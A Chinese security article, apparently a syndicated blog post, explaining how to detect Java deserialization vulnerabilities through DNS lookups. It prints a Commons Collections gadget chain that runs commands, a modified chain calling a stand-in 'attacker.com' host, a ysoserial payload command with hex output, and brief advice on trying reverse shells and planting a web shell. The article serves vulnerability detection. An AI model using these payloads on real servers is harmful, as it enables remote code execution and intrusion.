借助DNS解析来检测Java反序列化漏洞

本文涉及的产品
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
简介: 本文讲的是借助DNS解析来检测Java反序列化漏洞,安全问题中最重要的是什么,我们认为重要的就是确保数据来源的安全性和对敏感数据的保护。
本文讲的是 借助DNS解析来检测Java反序列化漏洞

借助DNS解析来检测Java反序列化漏洞(含工具视频演示)

安全问题中最重要的是什么,我们认为重要的就是确保数据来源的安全性和对敏感数据的保护。

域名系统(DNS)是关联网址(如www.makeuseof.com)和IP地址(54.221.192.241)的系统。当你使用浏览器访问一个网站,它会向DNS服务器发送你输入的地址请求,然后DNS服务器会指出其正确的IP地址,这是互联网如何工作的一个关键部分。但是DNS中的信息经常会发生泄漏。

Java 对象序列化是 JDK 1.1 中引入的一组开创性特性之一,用于作为一种将 Java 对象的状态转换为字节数组,以便存储或传输,不过我们还可以将字节数组转换回 Java 对象原有的状态。这种特性给我们带来了方便,但是也给我们带来了危险。

如果我们传输的序列化数据中途被截获,截获方通过反序列化就可以获得里面的敏感数据,比如DNS的信息,甚至对里面的数据进行修改然后发送给接收方。

目前,Java反序列化漏洞已被大家所熟知。尽管如此,我们仍然会遇到这类型的漏洞,不过我们可以使用一些工具来识别出这些漏洞。大多数识别工具依赖于命令执行API。但是,由于操作系统的环境限制,有效载荷的命令有时也会失败。另外,使用的命令有时也会丢失,或者有效载荷的命令会由于所安装版本所需的参数不同而发生变化,例如GNU netcat vs OpenBSD netcat所需的参数。

由于执行命令的上述限制,检测这些漏洞就不可避免的需要做许多尝试。由于每个漏洞都不得不发送多个有效载荷,所以要实现Java 反序列化漏洞的检测是非常困难的。不过,我们可以自定义一个通用的有效载荷,将进行大规模检测。不过在介绍我们的这个检测方法之前,让我们先说明一下这个检测所针对的有效载荷的运行环境:

1.有效载荷完全不受操作系统的影响,如Windows,Ubuntu,Alpine Linux(Docker),Solaris,AIX等,
2.即使Web容器正在运行安全管理器或沙盒,也可进行检测,
3.支持最常见的JVM 1.6以上的版本,不过也可能是jvm1.5以上的版本,

YSoSerial(于java反序列化工具)生成的大多数载荷都符合这些条件:

借助DNS解析来检测Java反序列化漏洞(含工具视频演示)

检测思路的调整

例如,我们发现了一个老的由5.1.0 GA – EOL支持JBoss样本,并且还对外开放了JMXInvokerServlet接口。根据我们的经验,这个JBoss样本应该存在Java 反序列化漏洞。但我们利用所有已知的漏洞测试工具对这个JBoss样本进行测试,但没有发现漏洞。

测试失败存在两种可能性:一是这些工具在这个特定的环境中起不到检测效果,二是目标系统已经打了补丁。然而,我们利用一个简单的有效载荷进行了DNS查询,发现DNS已经泄露,这就证明我们的猜想是对的。所以现在,我们要通过对DNS泄露的检测来进行漏洞检测,不过要避免命令执行API。

创建一个检测DNS泄露的工具

为了确认创建的工具可用,我们将修改YSoSerial提供的一个现成工具。

接下来,我们将使用一个简单的代码来代替命令执行载荷,该代码将触发一个DNS解析。使用的最常见的一个有效载荷是Commons Collection。其中,“Transformer”链会触发下面的代码:

Transformer链(使用了命令执行载荷):

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
    new ConstantTransformer(1) };

触发的代码:

((Runtime) Runtime.class.getMethod("getRuntime", new Class[0]).invoke(new Class[]{ Object.class, Object.class},new Object[0])).exec("echo your command here");

不过不能使用nslookup命令触发DNS解析,因为我们是希望避免使用命令执行API的,所以只能直接使用Java API。唯一的特殊要求是代码序列必须使用telescopic API,换句话说,代码序列不能使用临时变量。

下面是修改过的Transformer链(使用了DNS解析载荷):

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(new URL("http://resolve-me-aaaa.attacker.com")),
    new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
    new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
    new InvokerTransformer("read", new Class[] {}, new Object[] {}) };

Transformer链相当于以下的Java代码。它将尝试启动HTTP连接,但这里的关键问题是要触发DNS解析:

new URL("http://resolve-me-aaaa.attacker.com").openConnection().getInputStream().read();

确认检测目标中是否存在Java 反序列化漏洞

现在,我们就生成一个可以解析唯一主机名的工具。唯一的名称可以确保我们跟踪服务器,以监控是否进行了任何反序列化的操作。服务器可能会对Java 反序列化漏洞进行多次评估这个漏洞,或延迟评估。另外,使用唯一主机名可以避免检测时所产生的混乱,尤其是扫描多台主机时。在ysoserial中,已经有可用的完整POC代码:

$ java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections1Dns http://resolve-me-aaaa.attacker.com | xxd
00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU.....
00000040: 7ea5 0200 024c 000c 6d65 6d62 6572 5661 ~....L..memberVa
00000050: 6c75 6573 7400 0f4c 6a61 7661 2f75 7469 luest..Ljava/uti
00000060: 6c2f 4d61 703b 4c00 0474 7970 6574 0011 l/Map;L..typet..
00000070: 4c6a 6176 612f 6c61 6e67 2f43 6c61 7373 Ljava/lang/Class
00000080: 3b78 7073 7d00 0000 0100 0d6a 6176 612e ;xps}......java.
00000090: 7574 696c 2e4d 6170 7872 0017 6a61 7661 util.Mapxr..java
000000a0: 2e6c 616e 672e 7265 666c 6563 742e 5072 .lang.reflect.Pr
000000b0: 6f78 79e1 27da 20cc 1043 cb02 0001 4c00 oxy.'. ..C....L.
000000c0: 0168 7400 254c 6a61 7661 2f6c 616e 672f .ht.%Ljava/lang/
000000d0: 7265 666c 6563 742f 496e 766f 6361 7469 reflect/Invocati
000000e0: 6f6e 4861 6e64 6c65 723b 7870 7371 007e onHandler;xpsq.~
[...]

如果收到DNS查询,则证明存在Java 反序列化漏洞。记录DNS查询请求的工具很多,如 DNS chef,Burp Collaborator或tcpdump。在下面的检测中,我们使用DNS Chef来记录查询请求:

# python dnschef.py -q --fakeip 127.0.0.1 -i 0.0.0.0
[*] DNSChef started on interface: 0.0.0.0
[*] Using the following nameservers: 8.8.8.8
[*] Cooking all A replies to point to 127.0.0.1
[12:16:05] 74.125.X.X: cooking the response of type 'A' for resolve-me-aaaa.attacker.com to 127.0.0.1
[12:16:05] 192.221.X.X: cooking the response of type 'A' for resolve-me-aaaa.attacker.com to 127.0.0.1

借助DNS解析来检测Java反序列化漏洞(含工具视频演示)

一旦确认有漏洞被检测到,为了得到一个SHELL命令,我们还需要继续做一些尝试来触发一些错误命令。下面,就是一些获取SHELL命令的方法: 

1.确保你已经测试了各种反向shell命令

2.“Common collection”载荷在某些特定的JVM中可能会失败(如IBM J9)

3.如果目标强制执行了一个安全管理器,你可能需要制作一个自定义的检测工具。你可以通过“DEADCODE’s blog article”去了解transformer链的大概情况。目前比较流行的做法是找到Web根目录的路径,并编写一个可以延迟执行的web shell。不过这个工具只有在目标环境中的安全管理器阻止命令执行时才会用到。

工具视频演示

以下是我们开发的Break Fast Serial工具的简短演示,视频演示了如何对单个Web服务器进行扫描,使得Java 反序列化漏洞通过DNS 泄露被最终确认。该工具还支持在扫描模式下,同时对多个IP和端口进行扫描。该扫描器将会对JBoss,Weblogic和Jenkins等易受攻击的版本进行检测。

总结

DNS渗透检测有三个好处:

1.它可以提升反序列化漏洞检测的效率,

2.它可以同时对多台主机进行自动扫描,

3.即使目标服务器处于最严密的防火墙环境中,它也会识别出Java 反序列化漏洞。

那么要怎么安全的使用序列化呢?

针对开头提到的两点,我们有如下思路:

1.避免传递敏感数据,在对象中,可以使用关键字修饰敏感数据的变量,这样它就不会写入到序列化流中。

2.对数据进行先签名后加密的策略。如果非要传递敏感数据,那就使用这个方法,别人也就无法解密以及伪造。




原文发布时间为:2017年4月6日
本文作者:xiaohui 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
5天前
|
Java
轻松上手Java字节码编辑:IDEA插件VisualClassBytes全方位解析
本插件VisualClassBytes可修改class字节码,包括class信息、字段信息、内部类,常量池和方法等。
36 6
|
3天前
|
SQL 安全 网络安全
网络安全的护城河:漏洞防御与加密技术的深度解析
【10月更文挑战第37天】在数字时代的浪潮中,网络安全成为守护个人隐私与企业资产的坚固堡垒。本文将深入探讨网络安全的两大核心要素——安全漏洞和加密技术,以及如何通过提升安全意识来强化这道防线。文章旨在揭示网络攻防战的复杂性,并引导读者构建更为稳固的安全体系。
12 1
|
2天前
|
存储 算法 Java
Java Set深度解析:为何它能成为“无重复”的代名词?
Java的集合框架中,Set接口以其“无重复”特性著称。本文解析了Set的实现原理,包括HashSet和TreeSet的不同数据结构和算法,以及如何通过示例代码实现最佳实践。选择合适的Set实现类和正确实现自定义对象的hashCode()和equals()方法是关键。
12 4
|
1天前
|
监控 Java 应用服务中间件
高级java面试---spring.factories文件的解析源码API机制
【11月更文挑战第20天】Spring Boot是一个用于快速构建基于Spring框架的应用程序的开源框架。它通过自动配置、起步依赖和内嵌服务器等特性,极大地简化了Spring应用的开发和部署过程。本文将深入探讨Spring Boot的背景历史、业务场景、功能点以及底层原理,并通过Java代码手写模拟Spring Boot的启动过程,特别是spring.factories文件的解析源码API机制。
9 2
|
5天前
|
Java 编译器 数据库连接
Java中的异常处理机制深度解析####
本文深入探讨了Java编程语言中异常处理机制的核心原理、类型及其最佳实践,旨在帮助开发者更好地理解和应用这一关键特性。通过实例分析,揭示了try-catch-finally结构的重要性,以及如何利用自定义异常提升代码的健壮性和可读性。文章还讨论了异常处理在大型项目中的最佳实践,为提高软件质量提供指导。 ####
|
9天前
|
存储 分布式计算 Java
存算分离与计算向数据移动:深度解析与Java实现
【11月更文挑战第10天】随着大数据时代的到来,数据量的激增给传统的数据处理架构带来了巨大的挑战。传统的“存算一体”架构,即计算资源与存储资源紧密耦合,在处理海量数据时逐渐显露出其局限性。为了应对这些挑战,存算分离(Disaggregated Storage and Compute Architecture)和计算向数据移动(Compute Moves to Data)两种架构应运而生,成为大数据处理领域的热门技术。
27 2
|
9天前
|
设计模式 安全 Java
Java编程中的单例模式深入解析
【10月更文挑战第31天】在编程世界中,设计模式就像是建筑中的蓝图,它们定义了解决常见问题的最佳实践。本文将通过浅显易懂的语言带你深入了解Java中广泛应用的单例模式,并展示如何实现它。
|
8天前
|
存储 Java 开发者
Java中的集合框架深入解析
【10月更文挑战第32天】本文旨在为读者揭开Java集合框架的神秘面纱,通过深入浅出的方式介绍其内部结构与运作机制。我们将从集合框架的设计哲学出发,探讨其如何影响我们的编程实践,并配以代码示例,展示如何在真实场景中应用这些知识。无论你是Java新手还是资深开发者,这篇文章都将为你提供新的视角和实用技巧。
10 0
|
1月前
|
缓存 Java 程序员
Map - LinkedHashSet&Map源码解析
Map - LinkedHashSet&Map源码解析
66 0
|
1月前
|
算法 Java 容器
Map - HashSet & HashMap 源码解析
Map - HashSet & HashMap 源码解析
52 0

相关产品

  • 云解析DNS
  • 推荐镜像

    更多